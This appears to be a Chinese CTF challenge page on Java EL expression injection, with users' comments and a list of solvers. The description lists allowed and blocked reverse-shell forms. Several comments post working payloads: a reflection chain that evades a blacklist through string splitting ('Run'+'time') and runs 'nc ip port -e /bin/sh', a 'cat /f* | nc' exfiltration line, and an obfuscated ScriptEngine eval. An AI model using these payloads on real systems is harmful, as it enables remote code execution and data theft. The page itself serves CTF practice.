Java EL表达式注入WEB 未解决

分数: 35 金币: 4
题目作者: 云牧青
一  血: 广告位招租
一血奖励: 10金币
解  决: 110
提  示:
描  述:
/bin/bash: X ; /bin/sh √ ; /dev/tcp X ; nc -e ip port X ; nc ip port -e √ ;
评论
ailiyishen 20天前

"/bin/sh","-c","cat /f* | nc *"

回复 0

qq1002517 6月前

反弹服务器没的。算鸟

回复 0

binyu 6月前

''.getClass().forName('java.lang.Run'+'time').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Run'+'time').getMethod('getRu'+'ntime').invoke(null),'nc ip port -e /bin/sh')

回复 1

李逍遥逛霍格沃茨 6月前

浪费时间和金币的题目,花金币买了write up也做不出来 最大问题是反向连接建立不了 按照两边的教程监听端口一点反应都没有 纹丝不动

回复 0

l1nci 1年前

做不出来,金币-5,呜呜呜

回复 0

ailx10 1年前

嘻嘻,参考:https://zhuanlan.zhihu.com/p/721560334

回复 0

lzhui 2年前

金币 -5

回复 0

blackjack009 2年前

new javax.script.ScriptEngineManager().getEngineByName(new String(new byte[]{106,115})).eval(new String(new byte[]{106...........}));

回复 0

jack12138 3年前

利用Java反射机制实现RCE,参考:http://www.hackdig.com/08/hack-459909.htm,题中用''.getClass()替代了Class,黑名单可利用字符串拼接绕过,如''.getClass().forName('java.lang.Run'+'time')

回复 0

jack12138 3年前

没做出来,记录一下,应该跟 MVEL.eval 有关系?没试出来

回复 0

WriteUp

image
pick29

6 金币

评分(2)

解题动态

zhangyou 攻破了该题 6天前
dsdqh699 攻破了该题 6天前
saku688 攻破了该题 11天前
afeer123 攻破了该题 13天前
hdcc1 攻破了该题 19天前
ailiyishen 攻破了该题 20天前
1781****263 攻破了该题 23天前
Aptlion 攻破了该题 25天前
jtydxx 攻破了该题 29天前
z231288 攻破了该题 1月前
ndaygril 攻破了该题 1月前
wennuan 攻破了该题 1月前
wubobo 攻破了该题 2月前
KingOfDark 攻破了该题 2月前
林志伟-042 攻破了该题 2月前
suxiansheng 攻破了该题 2月前
SUPREME 攻破了该题 2月前
sectmp 攻破了该题 2月前
nina 攻破了该题 2月前
dlgz 攻破了该题 3月前
问题反馈